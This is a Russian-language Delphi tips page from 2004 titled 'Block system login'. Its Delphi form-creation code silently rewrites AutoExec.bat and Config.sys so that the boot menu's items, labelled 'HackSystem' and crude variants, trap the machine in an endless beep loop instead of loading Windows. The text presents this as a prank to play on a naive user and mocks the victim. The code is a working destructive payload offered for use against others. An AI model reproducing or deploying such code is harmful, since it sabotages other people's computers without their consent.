Delphirus - прграммирование на delphi
   Все о delphi Delphirus - прграммирование на delphi
blocks.gif
Навигация
 

Главная
Статьи
Базы данных
Графика
Защита
Интернет
Система
Тексты
Мультимедиа
Файлы
Формы и окна
Другое
Советы
Базы данных
Графика
Интернет
Мультимедиа
Система
Тексты
Файлы
Файлы
Исходники
Компоненты
Инфо
Поиск по сайту
Обратная связь
Самое популярное
Аккаунт
Карта сайта

 
 
 

Советы по delphi \ Система \ Windows \ Заблокировать вход в систему

Заблокировать вход в систему

Вы когда-нибудь видели меню в DOS'е? Ну, например, то самое, которое появляется по нажатию на F8 до загрузки Windows. А представьте себе, если у вас оно будет появляться без всяких нажатий на клавиши, да ещё и пункты меню будут с заданными вами заголовками, ну, и, наконец, если не по одному из пунктов меню вы не сможете загрузить Windows...

Для этого нам понадобятся два системных файла, умение делать копию в буфер обмена (дабы не писать тот код, что я вам сейчас покажу) и ламерюга, на котором вы бы хотели всё это испытать.

Ну, за последним дело не постоит, а сначала нужно сделать следующее:

  1. Выносим компонент класса TMemo - это большое текстовое поле (мы уже учились использовать переменные для взаимодействия с файлами, когда выводили сообщение во время загрузки системы, теперь будем использовать компоненты).
  2. По созданию окна пишем:
procedure TForm1.FormCreate(Sender: TObject);
begin
  with Memo1.Lines do
  begin
    Clear;
    LoadFromFile('C:AutoExec.bat');
    Insert(3,'goto %config%');
    Insert(4,':FuckSystem');
    Append('beep');
    Append('goto FuckSystem');
    Append(':HackSystem');
    Append('beep');
    Append('goto HackSystem');
    Append(':exit');
    SaveToFile('C:AutoExec.bat');

    Clear;
    LoadFromFile('C:Config.sys');
    Append('[menu]');
    Append('menuitem=HackSystem, HackSystem');
    Append('menuitem=FuckSystem, FuckSystem');
    Append('[FuckSystem]');
    Append('[HackSystem]');
    SaveToFile('C:Config.sys');
  end;
end;

Мы использовали два системных файла. Это AutoExec.bat и Config.sys. В текстовое поле по имени Memo1 поочерёдно помещаем содержимое файлов с помощью метода LoadFromFile и добавляем нужный код. В конфиге мы создаём меню, которое будет отображать при загрузке системы. Состоять оно будет из двух пунктов: HackSystem и FuckSystem. А в автоэкзэке описываем, что по нажатию на том или ином пункте меню машина будет зацикливаться... т.е. глупый пользователь, взяв один из пунктов меню будет сидеть и ждать, пока не запустится Windows, любуясь на заставку маст-дая с облачками и остальными причиндалами. Ему не в жизнь не догадаться нажать Esc, а если нажмёт, то то, что он увидит... м-да... лучше сто раз увидеть, чем один раз заиметь...

Название: Заблокировать вход в систему
Дата публикации: 2004-06-16 (2867 Прочтено)

 
 

 

Page generation 0.022 seconds